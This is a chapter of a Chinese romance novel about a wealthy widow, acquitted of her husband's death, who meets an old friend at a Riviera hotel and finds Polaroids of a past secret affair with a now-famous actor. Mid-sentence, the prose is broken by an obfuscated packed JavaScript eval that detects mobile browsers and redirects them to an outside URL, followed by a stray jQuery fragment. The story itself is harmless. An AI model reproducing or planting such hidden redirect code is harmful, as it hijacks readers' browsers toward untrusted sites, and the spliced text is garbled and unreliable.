夜间十点，蔚蓝海岸上的某座知名度假酒店。
休息室接近满座，该来的常客早在惯常的位置谈笑风生。因此，当结实的木门忽然从中开启，几乎所有人都讶然看向休息室入口。
阿利雅就那么走进来，在所有人的注视之下。
她身着漆黑鸡尾酒礼裙，头发高高盘起，像纤细而婀娜的四分休止符，无预告地跳上乐谱，一整晚没停过的絮絮交谈因她困惑地停住。
此起彼伏地有人悄声念她的名字，伴随时不时迸发的惊异抽气，紧跟着自发的噤声。
很快，寂静如涟漪扩散到休息室最深处。
露台边的爵士乐队没来得及追上门边的新动向，还在继续奏乐。低音大提琴手恰好这时不幸弹错了一个音，但幸运的是，这个错误虽然刺耳，却根本无人在意。
所有人、包括乐队成员都在看阿利雅。
毕竟，即便是这间贵宾休息室的常客，也不是每天都能见到新闻头条人物。
相较之下，阿利雅·德·博蒙特应该已经习惯了为人瞩目。
她第一次成为媒体焦点是五年前，作为一场世纪婚礼的主角。
年仅20岁的欧洲古老家族继承人——这是那时阿利雅身上的标签。与她在海岛阳光下交换戒指的新郎是合众国某家科技的公司创始人，在富豪排行榜上有名。
新郎比新娘年长16岁称得上老夫少妻，但36岁的亿万富翁一下子就显得还算年轻。
新娘青春美丽，而众所周知，男人无论几十岁，都更偏爱二十多岁的美色。即便如此，没人完全相信这场婚礼是一段爱情佳话的大团圆结局。
不仅仅因为两人相识不过数月就闪婚，更因为新郎当时正野心勃勃地进军旧大陆。他迫切需要一些本地人脉助力，帮助他在台面下斡旋，寻找捷径绕开欧陆严苛繁琐的法律条文。
而德·博蒙特恰好是个古老的、受人尊敬的姓氏。
萦绕在这段婚姻上的阴云在两年后更是遮天蔽日：
阿利雅再一次拥有属于她的头条，是因为她的丈夫在自家泳池溺亡。
不仅如此，死亡前两周他才更新了遗嘱；除去部分小额赠予的受益者，阿利雅是他的唯一指定遗产继承人。
警方无法排除他杀可能性，阿利雅于是成为犯罪嫌疑人。
她支付超高额保释金后戴着墨镜走出警局的照片，甚至一度成为热门网络meme.
漫长的取证、重新取证和庭审持续了两年多，比公众对案情从津津乐道到逐渐厌倦耗时更久。
两个月前，阿利雅·德·博蒙特无罪获释。
她因这个审判结果重回公众视野，网民对她短命的婚姻和丈夫都突然再度爆发出狂热的兴趣，她却消失得极为彻底，最能干的八卦记者也无法追踪她躲在哪里。
向来消息灵通的《水星报》都只能悻悻地在系列报导的最后刻薄：
“无论如何公众是否相信这位富豪遗孀的清白，又或者她现在正在哪座海岛天堂享受新得的自由，一个事实不会改变——从今天起，阿利雅·德·博蒙特会是这片大陆上最富有并且单身的25岁丧偶女性。”
而这位单身丧偶女性此时此刻正坦然穿过休息室，对卡座上的熟面孔们视而不见，直奔吧台。
“我可以坐这么？”她微笑着发问，用眼神向空座示意。
被搭话的男人呛了一下，不知道是紧张还是过于吃惊：“当、当然。”他旋即想起这是个制造谈资的绝佳机会：“我可以请你喝一杯吗？”
“不了，谢谢，我更喜欢自己买单。”
考虑到这位女士现在可以眼睛不眨一下地买下任何一座酒窖，男人顿时有些尴尬。
阿利雅不再看他，转向酒保。
酒保也是熟面孔，记得数年前她还是常客时的口味：“仍然是加果皮马丁尼，德·博蒙特女士？”
阿利雅点头，想了几秒又纠正自己：“不，给我来杯椰林飘香吧。”
今天她想来点不那么‘有派头’的东西。
每种鸡尾酒都有与之相关联的刻板印象。
金汤力老派；结伴来酒吧玩的女孩爱点黛绮莉；附加特殊要求的加果皮马丁尼则会让饮酒者显得独特有品位，并且懂得自己想要什么……
当然，刻板印象终究只是刻板印象。
哪怕点了富有热带风情的凤梨椰香鸡尾酒，阿利雅也很难被看作无忧无虑的度假客。
酒保愣了半拍，识趣地不做任何评价：“当然。”
椰林飘香还没端上来，休息室里的交谈音量已经恢复正常。仍然时不时有人望向吧台这里，但那只是看客的好奇，事不关己，尤其因为当事人完全不把身上的目光当一回事，旁观者的惊异和兴奋也很快如放久了起泡酒一样漏气。
阿利雅自顾自用指甲尖戳杯沿菠萝片背上的刺，慢慢咬着吸管喝酒。杯子才空了五分之一，就有人打断她独酌。
“嘿，阿利雅，又在这见到你真好。”
她闻声抬头，朝着面前的金发丽人抬了一下眉毛，和对方行贴面礼：“凯蒂，好久不见。”
凯蒂·萨金家中是酒店业巨鳄，萨金家注资的集团产业包括这座高级度假设施。
阿利雅记不清和凯蒂认识多少年了。她们是所谓的假期朋友，从小就常常在度假地碰到然后玩到一起，假期结束各回各家、各过各的日子。假期朋友很少联络，直到下一次碰面。
阿利雅曾经很羡慕凯蒂。不仅因为凯蒂家没有笼罩头顶的经济问题。
“我就不问你最近过得怎么样了。”凯蒂笑时依旧会露出酒窝，她甜美的笑容却比阿利雅上次见她时多了些东西。但她和以前一样坦率直白：“恭喜你。”
阿利雅于是也真心实意地回道：“也祝贺你订婚，我看到新闻了。”
凯蒂低头拨正颈间的绿祖母吊坠，没正面回应：“来我套间喝一杯怎么样？”
“我才刚刚坐下。”
“噢拜托，我保证我调的草莓莫吉托比你手里这杯好喝一百倍，”凯蒂冲酒保眨眨眼，“无意冒犯，但这是事实。阿利雅亲爱的，等我一下，我去拿个披肩。”
阿利雅离座前喝了一大口鸡尾酒，果香和椰乳巧妙中和的朗姆酒骤然发力，微热的劲头冲过鼻腔、直击脑髓，带来愉快的晕眩。
即便如此，她起身时仍然站得很稳。
凯蒂回卡座后又被人绊住聊了起来，阿利雅于是走到休息室门边的角落，随手拿起一本时尚杂志翻开。
光滑的铜版纸带着凉意，轻飘飘地随她的指尖拢到一边，露出某高奢品牌香水的广告页。
是一张代言人特写，正脸直拍，黑白滤镜，打光和构图都简单到朴素，却最大程度地发挥了黑发青年极具攻击性的俊美容貌。
有这样的一张古典雕塑般无可挑剔的脸做门面，无论是偶然经过海报的路人，还是一瞥间看到宣传图的读者，都会不由自主停下，让视线在广告上多停留那么一秒半秒。
阿利雅也不例外。
“他真是个漂亮男孩，不是吗？”
凯蒂的声音从身侧传来，阿利雅吓了一跳。她都没意识到自己什么时候走神了。
“他应该早过了可以被叫男孩的年纪。”她说着随手摞下杂志。
凯蒂噗嗤笑了：“别那么严格，他到现在都还在电影里演美少年，最苛刻的影评人对此都没有意见。”
阿利雅也跟着笑：“你是他的粉丝？”
“你不是？”
阿利雅条件反射地摇头：“我很久没看电影了。”
“我记得你很……”凯蒂讶异地顿了顿，面露了悟之色，“没事，现在你有大把时间把这几年的片子慢慢补上。等会儿我们就点播一部来看吧！”
与凯蒂的再会之夜最后成了丧尸电影之夜。
只要出现刺激镜头，凯蒂就会尖叫，叫着叫着，她泪流满面。
阿利雅什么都没有问，只把手臂绕过旧友的肩膀。
她回到自己的套房时差不多凌晨四点，自然醒来时已经是午后。她操作遥控器把房间遮光帘打开，酒店平板终端上闪烁着消息提示。
是酒店管家留言，前台有给她的包裹，来自凯瑟琳·萨金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379263|184066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女士。
阿利雅让人把东西送上来，等到服务生来按门铃，她才想起来昨晚凯蒂好像提过那么一件事：
五年前的那个夏天的最后，阿利雅登上私人飞机去海岛结婚的前一天，她把一箱子‘带不走’的私人物品留给了凯蒂，请她帮忙保管。
她对凯蒂的为人放心，相信她不会打开箱子窥探。她那时同时也暗暗认定，以凯蒂的粗率、以及萨金家的更换居住地的频次，箱子大概会几经辗转终于不知去向。
那或许正合她意。
但现在这个黑色塑料储物箱又回到了阿利雅脚边。
酒店员工贴心地擦拭掉了存储和运输在外壳留下的灰尘，这箱子甚至比她记忆中还要干净，却也黑得不祥。
阿利雅掰开箱盖扔到一边，盘腿坐下，伸手往箱子里随意一摸。
她抓到了一个小号文件袋，封口用线缠紧，内在颇有一些厚度。
完全不记得里面装了什么。
阿利雅瞪着那一圈?圈用力绕紧的线看了很久，终于把文件袋拆开。
开口朝下一抖，宝丽来相片像倒下的纸牌屋，扑簌簌散落满地，也落在阿利雅膝上。
零碎的、生疏的记忆如成像过程中的底片，轮廓和色块模糊地浮现，带着虚影。她不知道自己期待看到什么，沉默地拿起离得最近的那张相片，翻转到正面。
似乎是黄昏，又或许是清晨，总之按下快门时的曝光条件对拍立得相机来说有些苛刻。
背景是模糊的海岸和棕榈树，深色头发的拍摄对象背朝镜头，像是察觉了有人在拍他，正回身转过来。
快门定格了那个瞬间。
没拍到正脸，但相片中人露出的侧颜足够多，让熟悉这张脸特征的人立刻能辨认出来——
多里安·巴克斯。
这位新生代国际影星占据了近两年太多广告牌、杂志内页和封面。
包括昨晚阿利雅随手翻开的那本时尚杂志内页。
扑的一声响，是相片落到木质地板上，也是回忆挣脱遗忘、水落石出般上浮现形。
她忽然想起来了。
按下快门是在廉价周租公寓的阳台上。那个阳台地面没有铺瓷砖，光脚踩上水泥地很凉，但不会发出声音。
前方两栋公寓楼的空隙漏出一截海岸线，还有成列高得嚣张的棕榈树。只要拍摄的角度得当，从取景框中看起来，靠在阳台栏杆边就好像在海滨。
对于举起宝丽来相机前在想什么，阿利雅只记得那时迸发的奇想。
她想要把这个背影占为己有，长久地私藏。
可她也知道这样贪婪的愿望不会实现，不可能实现。就像夏天会结束的事实一样，无从撼动。
她连背影也没真的拍到。
宝丽来的闪光灯亮起前半秒，拍摄对象就已经察觉镜头。
喀嚓。
“我没有许可你拍我，你侵犯了我的肖像权。”多里安·巴克斯绷着脸走近，声色冷硬，颇有大牌明星风范。
“把相机交出来，立刻，现在——”
义正词严的态度没能坚持到句子结束，不知道是谁先扑哧笑了出来。笑意互相传染，两个人笑得停不下来，明明没有什么特别好笑的。
“我没说不给你版权费，”阿利雅踮脚和他碰了一下嘴唇，“给。”
“就这样？”多里安抬起眉毛，灰眼睛狡黠地闪烁着。
她一本正经，忽然又开始了角色扮演游戏：“先生，我认为这是很慷慨的价码。”
“交涉失败，那我们法庭上见。”他快步走进室内，有那么一瞬间看上去很像电影里的精英律师，步态都变了一个人。
然后他转过身，脱掉外套似地卸下短暂进入的角色，懒洋洋靠在狭小厨房的餐桌边，一偏头，叹息似地命令：
“好了，现在过来亲我。”
那是2015年的夏天，多里安还不知道，他什么时候才能拿到第一个电影角色。
他同样不知晓，半个月后会有一场盛大的婚礼。
新娘每晚和他相拥入眠，但新郎另有其人。